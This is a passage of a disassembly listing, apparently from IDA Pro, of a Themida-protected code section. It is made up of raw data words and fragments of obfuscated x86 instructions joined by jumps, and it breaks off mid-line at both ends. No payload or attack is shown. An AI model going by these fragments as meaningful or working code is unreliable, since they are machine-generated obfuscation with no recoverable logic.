80F6B353h, 88516AEBh, 59EC88DDh, 865CE95Bh dd 0E7C10000h, 0C7814F03h, 5C3E348Ah, 59E7814Fh, 811B6419h dd 0E7643AC7h, 5FFE293Bh, 4C8268h, 24348900h, 61E5E9h dd 98E95D00h, 10000A8h, 0C4EE81C6h, 584AF60Bh, 740E9h dd 1BEB8100h, 1B7B92Ah, 53EEE9DDh, 0E95F0000h, 21F5h, 295EF089h dd 0C1015BD8h, 7AD0E9h db 0 ; --------------------------------------------------------------------------- loc_4F4C09: ; CODE XREF: Themida_:004FE788j sub ecx, 5CCE2BDCh pop esi xchg ecx, [esp] pop esp sub bl, al jmp loc_4FC691 ; --------------------------------------------------------------------------- loc_4F4C1B: ; CODE XREF: Themida_:004F6ADDj mov [esp], edx mov edx, esp add edx, 4 push ecx mov ecx, 413459h jmp loc_4FA0A3 ; --------------------------------------------------------------------------- aGspx db 'G鯕',0 dw 0FF00h dd 0E9042474h, 5AD6h, 0E953972Ch, 0FFFFFF53h, 240C8B66h dd 589568h, 48B4E900h, 0E7890000h, 4BE56h, 0F7010000h dd 2BA525Eh, 1000000h, 3C875AD7h, 24248B24h, 7E05E9h, 0C7D00100h dd 0 dd 2434FF00h, 4EC8358h, 64E3E9h db 0 ; --------------------------------------------------------------------------- loc_4F4C89: ; CODE XREF: Themida_:004F9B7Fj sub esp, 4 mov [esp], esi mov esi, 2DDD42DFh add eax, 61C25328h sub eax, esi push edi mov edi, 61C25328h sub eax, 6E4D1A17h sub eax, edi add eax, 6E4D1A17h pop edi jmp loc_4FCC38 ; --------------------------------------------------------------------------- a_s db '_*',0 align 4 dd 0AF74D6BAh, 0F26E96Bh, 51AC0000h, 37ECE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push edx mov edx, 4 push edx xor dword ptr [esp], 39554673h pop eax push edx mov edx, 39554673h xor eax, edx pop edx jmp loc_4FED19 ; --------------------------------------------------------------------------- dw 0F381h dd 4DD849B3h, 38B4E381h, 0D3F73BF4h, 0CA3BEB81h, 0DF31F882h dd 676DE95Bh, 1C890000h, 2111BB24h, 84BD3A35h, 295CC936h dd 0EA815BDDh, 410E212Ch, 0FFE96BE9h, 4C481FFh, 8F000000h dd 248B2404h, 2434FF24h, 0BD76858h, 4890000h, 3AAA6824h dd 24890000h, 5E49E924h, 0EC810000h, 4, 505DE9h, 0BAEE8100h dd 81783248h, 137C4DCEh, 0E9DEF76Dh, 67F5h, 295DE931h dd 96BDE9CAh, 0D1880000h, 8BCB005Ah, 0E957240Ch, 8F8Eh dd 685DE901h, 2136h, 0E9243C89h, 36C6h ; --------------------------------------------------------------------------- loc_4F4D90: ; CODE XREF: Themida_:004FAA6Dj pop esp mov [esp], ebx xor dword ptr [esp], 652434A9h push dword ptr [esp] pop eax add esp, 4 push edi mov edi, 583C4503h not edi sub edi, 429F8653h xor eax, edi jmp loc_4FACBF ; --------------------------------------------------------------------------- db 54h dd 0EDBF575Eh, 5514F95Eh, 243AB951h, 0E9C10401h, 0C1814903h dd 62742EAEh, 5FE9CD89h, 81000065h, 4C4h, 74FF5300h, 1C8B0424h dd 0D9E95224h, 0BF00003Ch, 2, 685FF929h, 156Bh, 0FF240C89h dd 59042474h, 5C24048Fh, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFFE0E0h, 81665866h, 666FD6EBh, 8166C329h, 666FD6C3h dd 7560EB81h, 66C0B70Fh, 66723C68h, 0E9240489h, 0FFFFE0BCh dd 0E5B95156h, 120054Dh, 5904244Ch, 8138428Fh, 4DE5386Ah dd 34FF2005h, 0A49CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F4E56: ; CODE XREF: Themida_:004F6009j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_4F30E9 ; --------------------------------------------------------------------------- dd 582434FFh, 8904EC83h, 5D54242Ch, 6867E9h, 0C7EB8100h dd 0E9EFE736h, 78E3h, 8215C681h, 0F789A9D6h, 0E9FE015Eh dd 5ABDh ; --------------------------------------------------------------------------- loc_4F4E9C: ; CODE XREF: Themida_:004F6F97j sub edx, ecx xchg edx, ecx pop edx inc ecx and ecx, 11553CD7h shl ecx, 7 inc ecx jmp loc_4F7C33 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FC0095Ch, 95B84h, 1C77FF00h, 76C8E9h db 0 ; --------------------------------------------------------------------------- loc_4F4EC5: ; CODE XREF: Themida_:004FA9A8j pop esi jmp loc_4F6CC7 ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 543E924h, 0E95D0000h, 6D57h ; --------------------------------------------------------------------------- loc_4F4EDC: ; CODE XREF: Themida_:004F2EF6j mov ch, 0FBh or ch, 0A9h not ch xor ch, 55h inc ch not ch dec ch xor ch, 4 add ch, 0F7h sub al, 0A3h sub al, 28h add al, ch jmp loc_4F8342 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4C68100h, 87000000h, 10E92434h, 100009Fh, 0EC815DEBh dd 4, 68243C89h, 2, 361BE9h, 5F685900h, 8900001Eh, 6C682404h dd 584D4D1Bh, 4D1B682Dh, 6CE9814Dh, 10E0A08h, 6CC181C1h dd 8B0E0A08h, 0C4812404h, 4, 2BF57h, 0F9010000h, 0FFFC95E9h dd 0FD0458FFh, 0E828F004h, 0FD2CF02Ch, 8E00E9h, 0F666400h dd 71E902B6h, 5200005Ah, 77ABE9h, 0EC815D00h, 4, 0E9243489h dd 372Bh, 0E90CE8C1h, 80B5h ; --------------------------------------------------------------------------- loc_4F4F98: ; CODE XREF: Themida_:004F3CFEj or ecx, esi jmp loc_4F56CC ; --------------------------------------------------------------------------- db 0ADh dd 1CE9D831h, 5C000074h, 2D63E9h, 0E9970400h, 4B8Fh ; --------------------------------------------------------------------------- loc_4F4FB4: ; CODE XREF: Themida_:004FCCB8j and eax, ecx push dword ptr [esp] jmp loc_4F6104 ; --------------------------------------------------------------------------- loc_4F4FBE: ; CODE XREF: Themida_:004F79E9j jmp loc_4F2EF4 ; --------------------------------------------------------------------------- db 1 aSiv db 'iV',0 align 2 dw 74FFh dd 8F590424h, 815C2404h, 4C4h, 0D1E95500h, 5C000095h, 14CE9h db 0 ; --------------------------------------------------------------------------- loc_4F4FE5: ; CODE XREF: Themida_:004F5466j pop ebp sub esp, 4 mov [esp], esi sub dword ptr [esp], 491E45BBh pop edx add edx, 491E45BBh pop esi xor edx, eax pop eax sub [edi+24h], edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, ebx push 3B1Ch mov [esp], ecx push esi mov esi, 4BB252A2h xor [esp+4], esi pop esi mov eax, [esp] jmp loc_4FE942 ; --------------------------------------------------------------------------- aFrsgj db 'fRGj',0 align 2 dw 0EC81h dd 4, 0FF241C89h, 0FF042474h, 61E92434h, 81000084h, 4C4h dd 0E1895100h, 4C181h, 0E9E90000h, 58FFFFEBh, 0D14E981h dd 8DE931ADh, 6600001Ch, 68240C8Bh, 5CEh, 6E97E9h, 55D30100h dd 774E31BDh, 0E9EB2909h, 0FFFFE925h, 4C5815Dh, 0E9000000h dd 6D56h, 180BA6B8h, 0E8C14812h, 53F10505h, 48E93263h dd 5600007Ah, 4BEh, 5EF10100h, 8A8AE9h, 5FFD3100h, 0A80FC581h dd 0EF01AD0Eh, 4EF835Dh, 0E9243C87h, 24F5h, 0D330B2B3h dd 0E2B0E95Ah, 895CFFFFh, 9C502414h, 0FFDE0FE9h, 0BBBB53FFh dd 4B37C368h, 0C381D3F7h, 5C785CE1h, 73B8E94Bh, 0CFB20000h dd 4C65E9h db 0 ; --------------------------------------------------------------------------- loc_4F5101: ; CODE XREF: Themida_:004F8680j push edi mov edi, 3AB22176h mov ecx, 3E536103h jmp loc_4F45FB ; --------------------------------------------------------------------------- loc_4F5111: ; CODE XREF: Themida_:004FD82Aj push edi push esp push dword ptr [esp] pop edi add esp, 4 add edi, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_4FBBDA ; --------------------------------------------------------------------------- db 0E9h, 0BEh, 0DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F5136: ; CODE XREF: Themida_:004FE9F7j push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 6138h jmp loc_4F40CD ; --------------------------------------------------------------------------- dd 405h, 3AB9E900h, 248B0000h, 7F1DE924h, 942D0000h, 0F713232Bh dd 0E32B2DD0h, 63E99A51h, 68000030h, 2017h, 87240489h dd 0D787243Ch, 443EE9h db 0 ; --------------------------------------------------------------------------- loc_4F5189: ; CODE XREF: Themida_:004FCF6Ej sub edi, 7C4002BCh add ebp, 3E944EB1h add ebp, edi jmp loc_4FD08C ; --------------------------------------------------------------------------- dd 3E56F0BEh, 4EC8104h, 0E9000000h, 0FFFFE4D5h ; --------------------------------------------------------------------------- loc_4F51AC: ; CODE XREF: Themida_:004F7775j mov esi, 382CBF83h xor edi, esi mov esi, [esp] jmp loc_4F4239 ; --------------------------------------------------------------------------- db 0C7h dd 65982047h, 6F813FC0h, 3575F620h, 2047FF19h, 281DBE56h dd 0E9550E77h, 5ED8h, 5A2434FFh, 0A9E95455h, 87FFFFFEh dd 29E92404h, 5E000066h, 56242C8Bh, 0C681E689h, 4, 4C681h dd 34870000h, 6CEFE924h, 478F0000h, 0DCE6E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F520E: ; CODE XREF: Themida_:004FE29Fj mov ebp, [esp] add esp, 4 push ebp push edi mov edi, 63711592h jmp loc_4FA890 ; --------------------------------------------------------------------------- loc_4F5220: ; CODE XREF: Themida_:004F6A1Fj pop ecx jmp loc_4F3A24 ; --------------------------------------------------------------------------- dw 0E1C1h dd 32F9E904h, 0DD010000h, 7128C581h, 8AE92CB7h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F523B: ; CODE XREF: Themida_:004FAB8Ej pop ebp jmp loc_4FBDE0 ; --------------------------------------------------------------------------- db 5Ch, 52h, 0B6h dd 0F5885164h, 0FFF276E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F524D: ; CODE XREF: Themida_:004FBD9Fj mov eax, [esp] add esp, 4 add esp, 4 jmp loc_4F442C ; --------------------------------------------------------------------------- loc_4F525E: ; CODE XREF: Themida_:004F9118j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_4FC4D2 ; --------------------------------------------------------------------------- loc_4F5273: ; CODE XREF: Themida_:004FD9C6j push ebx mov ebx, 387913F7h sub dword ptr [esp+4], 7B34131Dh add [esp+4], ebx add dword ptr [esp+4], 7B34131Dh pop ebx pop ebx sub ebx, 387913F7h mov edi, [esp] push ebx mov ebx, esp jmp loc_4F9999 ; --------------------------------------------------------------------------- dd 4BBh, 50EF8100h, 1212609h, 50BB53DFh, 0E9212609h, 4E57h dd 0E908E9C1h, 0F59h, 4BD55h, 0EB010000h, 69E9505Dh, 5F000003h dd 0FFEE51E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F52D5: ; CODE XREF: Themida_:004F5C0Dj pop esi add ebx, ecx jmp loc_4FB9EE ; --------------------------------------------------------------------------- db 66h, 0F7h, 1Ch dd 0DE99C24h, 0B2FFFFDCh, 66D100FFh, 0A7C1805Ah, 0E180D9F6h dd 1C18051h, 0BCE9C800h, 59000016h, 0E904C483h, 3938h dd 0ECB4505Bh, 6DC5E9h, 0CE8100h, 0E9307201h, 469Eh, 76FAB951h dd 0CF29EB31h, 8AD9E9h, 0FFF02900h, 0E95E2434h, 0FFFFE193h dd 4EC815Bh, 89000000h, 74FF2414h, 57E90424h, 68000017h dd 66D66D32h, 4E0C158h, 6A64BD55h, 0E5812605h, 65600BC2h dd 0AC58145h, 815CF227h, 9D3B35C5h, 5A98E911h, 0EA290000h dd 5AD0015Dh, 8B240487h, 54562424h, 4C6815Eh, 83000000h dd 348704C6h, 459DE924h, 0C3810000h, 4, 2C381h, 1C870000h dd 8F665C24h, 52662404h, 242C8766h, 66D5F766h, 74FF6655h dd 8B660224h, 0C483242Ch, 9F90E902h, 0C4810000h, 4, 98FBD55h dd 5EE919B3h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F53CF: ; CODE XREF: Themida_:004F96B1j pop ebp jmp loc_4F57EF ; --------------------------------------------------------------------------- db 81h, 0F5h, 25h dd 8117C841h, 0E27446E5h, 0ED814D35h, 0BF7E13D3h, 78BAC681h dd 0EE297B5Dh, 910FE957h, 0E9510000h, 1DFh, 0BE9DF29h dd 58000060h, 265E981h, 0C829440Ch, 862E9h, 24248B00h dd 3FB5E9h, 57E28900h, 4E08E9h, 48B6600h, 4A49E924h, 0D6F70000h dd 0FFFA5BE9h, 0FE981FFh, 49447048h, 6E7EF181h, 0E9564D0Ch dd 577Eh ; --------------------------------------------------------------------------- loc_4F5444: ; CODE XREF: Themida_:004FD15Bj pop esp mov [esp], edx push 3C01h mov [esp], eax mov eax, 6C6262A3h sub esp, 4 mov [esp], esi push ebp mov ebp, 939D9D5Ch mov esi, ebp jmp loc_4F4FE5 ; --------------------------------------------------------------------------- db 80h dd 0EB282DC5h, 10EB8059h, 7525E9h db 0 ; --------------------------------------------------------------------------- loc_4F5479: ; CODE XREF: Themida_:004F61CFj add esp, 4 add esp, 4 xor esi, 25657986h mov edx, [esp] jmp loc_4F9741 ; --------------------------------------------------------------------------- dd 52242C89h, 0CA6C96BAh, 6D71E904h, 0C4830000h, 0E9C30104h dd 776Ah, 8EE9C801h, 8B000087h, 0C481241Ch, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 58B61081h jmp loc_4FCF5F ; --------------------------------------------------------------------------- loc_4F54C6: ; CODE XREF: Themida_:004F6193j xor eax, ecx xor eax, edx xor edx, eax xor eax, edx sub esp, 4 mov [esp], edx push 6BCCh mov [esp], ebp push dword ptr [esp] pop edx jmp loc_4FDD2C ; --------------------------------------------------------------------------- aYfyssp_ db 'YfYSP_',0 dd 242C8900h, 5FF8895Fh, 81242C8Bh, 4C4h, 2434FF00h, 66B3E95Ah dd 89500000h, 405E0h, 0A0E90000h, 53000017h, 5B2414F7h dd 0E9241C87h, 0FFFFD9D0h ; --------------------------------------------------------------------------- loc_4F5524: ; CODE XREF: Themida_:004FED1Fj add edi, 4 jmp loc_4F66EF ; --------------------------------------------------------------------------- db 83h dd 2C8704EDh, 34895C24h, 77546824h, 14890000h, 1048E924h dd 50530000h, 6C5937B8h, 5625403Ah, 0E93A3A42h, 3289h dd 0BB53E689h, 4, 13A4E9h, 4EC8100h, 89000000h, 4832424h dd 48F0424h, 3B8B6824h, 34890000h, 4BE24h, 74010000h, 0D0E90424h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F558B: ; CODE XREF: Themida_:004F8A4Ej shr edi, 5 jmp loc_4FB7F1 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 5D31B924h, 0C9814B85h, 7FC60230h, 1B6EC181h dd 0E1C134A6h, 0EC814906h, 4, 0BE243489h, 57C424A5h, 0D104E6C1h dd 2E6C1EEh, 28B2E681h, 0EAE96AAEh, 0B8FFFFEBh, 4, 11E9C329h dd 0B900006Dh, 490C008Eh, 0C8BCF29h, 61CAE924h, 0E6C10000h dd 3E6C104h, 8107E6C1h, 0EB9707F6h, 0E9F0012Fh, 7D85h dd 0FE0BEA81h, 4C68A380h, 89000037h, 0BDE9242Ch, 0F000072h dd 8F66C0B6h, 0D5E98704h, 81FFFFD8h, 4ECh, 7EA7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F562A: ; CODE XREF: Themida_:004FADEAj push edx mov dl, 46h xor dl, 15h add bl, dl pop edx jmp loc_4FCC2B ; --------------------------------------------------------------------------- aVsN db 'V]n',0 align 2 aAuj db '',0 dw 5AF0h aFsH db ',H',0 dw 5000h dd 762E6068h, 0F1E95809h, 0F700008Eh, 94C281DAh, 536A8440h dd 90C8E9h, 6987B900h, 81417E47h, 0B8967CC1h, 18EF8181h dd 12A977Dh, 0DB34E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F567E: ; CODE XREF: Themida_:004F3F2Fj mov ebp, 7BEA164Ch add [esp+4], ebp mov ebp, [esp] jmp loc_4F6198 ; --------------------------------------------------------------------------- loc_4F568F: ; CODE XREF: Themida_:004F3B3Aj push ebp mov ebp, 52086BE7h jmp loc_4F72D4 ; --------------------------------------------------------------------------- dw 535Eh dd 65DE957h, 0CB880000h, 88E78853h, 0B5E95BF9h, 66FFFFEBh dd 667560B8h, 2B03C381h, 0A3EB8166h, 0C301661Ah, 0A3C38166h dd 0E953571Ah, 33BAh ; --------------------------------------------------------------------------- loc_4F56CC: ; CODE XREF: Themida_:004F4F9Aj pop esi inc ecx jmp loc_4FC44F ; --------------------------------------------------------------------------- db 21h dd 0C5CE9D8h, 7BBB0000h, 57296B3Dh, 9702B5BFh, 5FFB014Ch dd 0A5E9DE01h, 100005Dh, 64EF81D7h, 5A2D692Dh, 8702EF83h dd 248B243Ch, 0DF49E924h, 0E230FFFFh, 8BD13058h, 0C9E92414h dd 8900005Dh, 4C681E6h, 81000000h, 4C6h, 24348700h, 81435E5Ch dd 6D59AAEBh, 0E9DE015Ah, 2272h ; --------------------------------------------------------------------------- loc_4F5734: ; CODE XREF: Themida_:004F7A7Dj mov esi, 2 add ecx, 5CCE2BDCh jmp loc_4FE786 ; --------------------------------------------------------------------------- dd 54243489h, 0E953575Eh, 42FEh ; --------------------------------------------------------------------------- loc_4F5750: ; CODE XREF: Themida_:004FD8C1j mov esi, [esp] jmp loc_4F6B00 ; --------------------------------------------------------------------------- dd 88FBD55h, 0EDC15B2Dh, 3E5C107h, 69EBF581h, 0C58169CCh dd 0A1D07DDBh, 2C8BE831h, 4C48124h, 5000000h, 897E7746h dd 7FDE956h, 0E9530000h, 8615h, 6519EE81h, 0C60138B2h dd 6519C681h, 83E938B2h, 8100006Ch, 4ECh, 24048900h, 0B14C81B8h dd 476AE914h, 7680000h, 0E900003Ah, 5E3Fh, 2244EB81h, 0CB012F12h dd 2244C381h, 34FF2F12h, 0C4815924h, 4, 2474FF53h, 48F5B04h dd 24248B24h, 0FFEC73E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F57E5: ; CODE XREF: Themida_:004FD430j push 54F8h jmp loc_4F2F69 ; --------------------------------------------------------------------------- loc_4F57EF: ; CODE XREF: Themida_:004F53D0j pop edi shr ebp, 2 sub ebp, 26713DD5h add ebx, ebp pop ebp jmp loc_4F6449 ; --------------------------------------------------------------------------- aYaPsI db 'Yp*',0 align 2 dw 8850h dd 0E54EE9CCh, 1487FFFFh, 24248B24h, 8904EC83h, 481241Ch dd 980D3924h, 24048B6Ah, 50E78957h, 0F3947B8h, 48404807h dd 0A903062Dh, 3E8C125h, 0D3393C05h, 8318E9E3h, 0E2C10000h dd 0B0BE5604h, 0F74D6D01h, 0A1E681DEh, 96583F4Ah, 0F6819648h dd 1A407BC3h, 0C15EF231h, 0BF5704EAh, 614627ADh, 1561E781h dd 0D7F76B49h, 7476CF81h, 0EF81776Eh, 0DC22C169h, 0E95FFA01h dd 9C0Dh, 0E9028F66h, 440Ah, 0A71AF681h, 0F12973DAh, 0E9C8015Eh dd 7037h, 0C281E289h, 4, 8704C283h, 19E92414h, 0F7000008h dd 81D5F7D5h, 0B52422C5h, 0D0F5817Fh, 813A031Eh, 0B60153EDh dd 5DEE89A8h, 815EF129h, 1D05E5EEh, 1DF0E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F58DA: ; CODE XREF: Themida_:004FA16Fj pop ebx pop ecx push eax mov ah, 0C9h and ah, 64h dec ah sub ah, 0B6h xor ah, 0ABh mov dl, ah pop eax jmp loc_4F758B ; --------------------------------------------------------------------------- dw 2966h dd 19E95FFBh db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F58FB: ; CODE XREF: Themida_:004FD8A7j mov [esp], edx mov edx, 4DBB57D7h sub [esp+8], edx pop edx push ebx mov ebx, 7A745C07h add [esp+8], ebx jmp loc_4FB853 ; --------------------------------------------------------------------------- db 2Dh dd 3B817ED1h, 0D105D801h, 53B817Eh, 44C471E3h, 7AA368h dd 24348900h, 12D1E9h, 0C8B6600h, 0E6895624h, 4BD55h, 73E90000h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F5947: ; CODE XREF: Themida_:004F4A37j push eax mov eax, 596035D4h add eax, 4A8B562Ah sub eax, 2AC2639h jmp loc_4FEF62 ; --------------------------------------------------------------------------- dd 55C28159h, 0E935E76Bh, 0FFFFDFB7h, 0F39CE95Ch, 5352FFFFh dd 63FAE9h db 0 ; --------------------------------------------------------------------------- loc_4F5975: ; CODE XREF: Themida_:004F6315j mov [esp], ebx jmp loc_4FEB32 ; --------------------------------------------------------------------------- db 58h, 57h, 0BFh dd 2, 875FFE01h, 0D35C2434h, 0E99C243Ch, 0FFFFD560h, 1CC58145h dd 81037304h, 3C2141F5h, 1FC38106h, 1555B14h, 1FEB81EBh dd 8B555B14h, 0C481242Ch, 4, 0E905E3C1h, 9A4h ; --------------------------------------------------------------------------- loc_4F59C0: ; CODE XREF: Themida_:004FE8F6j add ebx, 368121BEh add ebx, ebp jmp loc_4FD787 ; --------------------------------------------------------------------------- db 0BAh, 0CAh, 16h dd 0FBE95584h, 89000067h, 0E9E9242Ch, 8B000056h, 6F682404h dd 8900005Fh, 0E589242Ch, 70D3B850h, 0E95311C7h, 7E59h dd 0EB276BB8h, 6E5DB90Fh, 0C131353Eh, 8124048Bh, 4C4h dd 24448100h, 0C3500D04h, 246C815Ah, 0A2150C04h, 24448109h dd 9221A304h, 244C294Ah, 246C8104h, 9221A304h, 0CBA524Ah dd 109A215h, 5A082454h, 4246C81h, 5AC3500Dh, 0D4AAE959h dd 0C781FFFFh, 743B21ACh, 4EC83FDh, 54241489h, 4C2815Ah dd 81000000h, 4EAh, 24148700h, 2434895Ch, 7B91E9h, 0C3816600h dd 816677C2h, 663AF1CBh, 8166D3F7h, 6624EFC3h, 665BDE31h dd 348BF029h, 4C48124h, 0E9000000h, 9966h ; --------------------------------------------------------------------------- loc_4F5A98: ; CODE XREF: Themida_:004FD74Cj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_4FF426 ; --------------------------------------------------------------------------- db 5Dh, 0D1h, 0EBh dd 0C685557h, 5D3C8B56h, 3B24E9h db 0 ; --------------------------------------------------------------------------- loc_4F5AB9: ; CODE XREF: Themida_:004F6B03j and eax, ecx jmp loc_4F9386 ; --------------------------------------------------------------------------- dd 0C003E1C0h, 0B05008E1h, 0E9010C02h, 55A6h, 6804C483h dd 5B78h, 55240C89h, 0E989C589h, 0C1FE9h, 0E9E80800h, 1DDAh dd 24048B66h, 4EC81h, 0C890000h, 57E18924h, 4BFh, 4895E900h dd 0C7880000h, 6A96E9h, 5BFD8800h, 7FF768h, 24148900h dd 88EF8853h, 0CEFE5BFEh, 3DB368h, 241C8900h, 88F18851h dd 0FD8859CFh, 2434FF5Bh db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp not ch sub ch, 67h add al, ch pop ecx jmp loc_4FEF8C ; --------------------------------------------------------------------------- db 54h, 8Bh, 14h dd 4C48124h, 56000000h, 866FE952h, 0AE680000h, 0E9000072h dd 42FBh, 9F3757B8h, 3755BE64h, 0C631649Fh, 8124048Bh dd 4C4h, 0E9F20100h, 88C3h ; --------------------------------------------------------------------------- loc_4F5B8C: ; CODE XREF: Themida_:004FB748j shl esi, 6 jmp loc_4FD8B9 ; --------------------------------------------------------------------------- dd 5504C483h, 0C5815D54h, 4, 4C581h, 2C870000h, 24248B24h dd 0BFE9C009h, 0FF000084h, 0E9042474h, 0FFFFF31Ah, 0DCE9E689h dd 52FFFFFBh, 0B6D8AEBAh, 0E9D50134h, 915Ch, 5EF12958h dd 81242C8Bh, 4C4h, 240C8700h, 0D224248Bh, 0E99C2424h dd 397Fh, 4246C81h, 1D3727A1h, 4245401h, 0FFEA79E9h, 5BDF01FFh dd 6363E9h db 0 ; --------------------------------------------------------------------------- loc_4F5C05: ; CODE XREF: Themida_:004F4605j xor esi, 7ADF2066h sub ebx, esi jmp loc_4F52D5 ; --------------------------------------------------------------------------- dw 0B551h dd 0EC77E992h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F5C1A: ; CODE XREF: Themida_:004FBE72j mov edx, 2 add ebp, 380A164Eh jmp loc_4F74B6 ; --------------------------------------------------------------------------- dw 0C701h dd 81DF0158h, 0D90BC0EFh, 4FE95B6Fh, 5B000022h, 4B850h dd 0C6010000h, 24348758h, 66C3315Ch, 0A1E930FFh, 55FFFFD2h dd 1D5FE9h, 0FDC18000h, 3687E9h, 0C3815A00h, 45D5A44h dd 5B50EB81h, 6BE90495h, 59FFFFEBh, 0CABE9h, 0E953AD00h dd 0FFFFFA5Ah, 585450ADh, 405h, 38BCE900h, 0C5010000h dd 0FFDF4CE9h, 595451FFh, 1B21BE56h, 0C6810A04h, 1C8A2C5Dh dd 0EE814646h, 268E477Ch, 835EF101h, 8E904E9h, 81FFFFD5h dd 4C7h, 1EB56800h, 3C890000h, 2474FF24h, 48F5F04h, 8CE95C24h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F5CD3: ; CODE XREF: Themida_:004F40D0j sub esp, 4 jmp loc_4FE77E ; --------------------------------------------------------------------------- loc_4F5CDB: ; CODE XREF: Themida_:004FC738j mov [esp], edi mov edi, 46245BE6h add edi, 71E25C12h jmp loc_4FBD22 ; --------------------------------------------------------------------------- loc_4F5CEE: ; CODE XREF: Themida_:004F4470j add bl, ch pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_4F6624 ; --------------------------------------------------------------------------- db 56h dd 0A25743BEh, 7E6C158h, 0FFD38DE9h, 0F6B0B6FFh, 28E951D6h dd 8300000Fh, 0D6E902C7h, 0C100001Ch, 0E6E902E7h, 8900002Dh dd 4832424h, 79E90424h, 8300000Ah, 0B75304C4h, 14EF80CDh dd 0CF80CFFEh, 81D7F694h, 4ECh, 24048900h, 0E4C04CB4h dd 0E9CCFE03h, 15E6h, 2C181h, 80680000h, 89000023h, 74FF240Ch dd 0C8B0424h, 5FFE924h, 0D8290000h, 2F59D92Dh, 19055B27h dd 5E687B17h, 53B1E9h, 4875B00h, 0E424E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F5D8E: ; CODE XREF: Themida_:004F7935j add edi, 1 push ecx mov ecx, 26D9303Ch sub ecx, 2322D031h xor edi, ecx mov ecx, [esp] add esp, 4 xor esi, edi pop edi sub esi, 7B65010Dh push 0F8Eh mov [esp], ebp mov ebp, 1AFA153Fh sub esi, ebp pop ebp push edx mov edx, 31832460h add edx, 5945329Dh jmp loc_4FC3E8 ; --------------------------------------------------------------------------- aSyy db '!Yy',0 align 4 dd 815AD689h, 40042444h, 140E31Dh, 81042474h, 4004246Ch dd 5E40E31Dh, 83241C8Bh, 55E904C4h, 2D000071h, 425E258Ah dd 8324148Bh, 0C08304C4h, 74FF5004h, 0E9580424h, 0FFFFE15Eh dd 0DDD5E952h, 0D800FFFFh, 0FFEB72E9h, 4E8C1FFh, 82C4E9h dd 20B95100h, 811E0A67h, 87042444h, 118B269h, 8104244Ch dd 8704246Ch, 5918B269h, 0E92434FFh, 83B3h ; --------------------------------------------------------------------------- loc_4F5E50: ; CODE XREF: Themida_:004F45DFj push eax push ecx mov ecx, 7A41383Dh mov eax, ecx pop ecx sub eax, 1 jmp loc_4F4A1B ; --------------------------------------------------------------------------- dd 0E01260BDh, 0E9D5F706h, 5DB3h, 65FBED81h, 0EB015DE6h dd 77E9575Dh, 68000083h, 6B7210E6h, 83240C8Bh, 0D1F704C4h dd 369BBF57h, 0CF810F9Bh, 5F902AD4h, 499EC781h, 0E7813D2Eh dd 7384213Ch, 2D03C781h, 0F9311374h, 0E9CB895Fh, 2DF2h dd 77E9BE56h, 0EE812A30h, 0C1B560D0h, 0B4E9F029h, 81000006h dd 8F4E40EDh, 51F5010Ah, 3E28E9h, 800400h, 0C38058C3h dd 0EB8058C9h, 80C328B7h, 5266B7C3h, 0EB801FB2h, 80D3008Eh dd 5A668EC3h, 66C0B60Fh, 6824148Bh, 7BF9h, 0E9241489h dd 0FFFFDDC8h ; --------------------------------------------------------------------------- loc_4F5F08: ; CODE XREF: Themida_:004F95A6j xor ebx, 5AD3871h jmp loc_4FAC7C ; --------------------------------------------------------------------------- db 66h dd 83240C8Bh, 43E904ECh, 0FF000038h, 48B2434h, 4C48324h dd 4EC81h, 0C890000h, 81595424h, 4C1h, 4BB5300h, 0E9000000h dd 5D89h, 0E924248Bh, 4FE5h, 0D224248Bh, 0E99C2404h, 0FFFFCF9Ch ; --------------------------------------------------------------------------- loc_4F5F58: ; CODE XREF: Themida_:004FB80Fj pop ebx add ecx, edi jmp loc_4F7183 ; --------------------------------------------------------------------------- dd 0E4E951ADh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F5F67: ; CODE XREF: Themida_:004FD78Ej push ebp mov ebp, 3CCA2F0Dh shl ebp, 8 sub ebp, 1 not ebp xor ebp, 41ED2A72h shr ebp, 6 jmp loc_4FDD03 ; --------------------------------------------------------------------------- db 89h dd 0E9F189C6h, 4D8Dh, 4EC8393h, 87241C89h, 0D5F7242Ch dd 5B242C87h, 30C30593h, 0C5899D47h, 3076E958h, 48050000h dd 5B657D22h, 0F1E6E956h, 34FFFFFFh, 0BD685824h, 89000032h dd 0EEE92434h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F5FC7: ; CODE XREF: Themida_:004F6576j 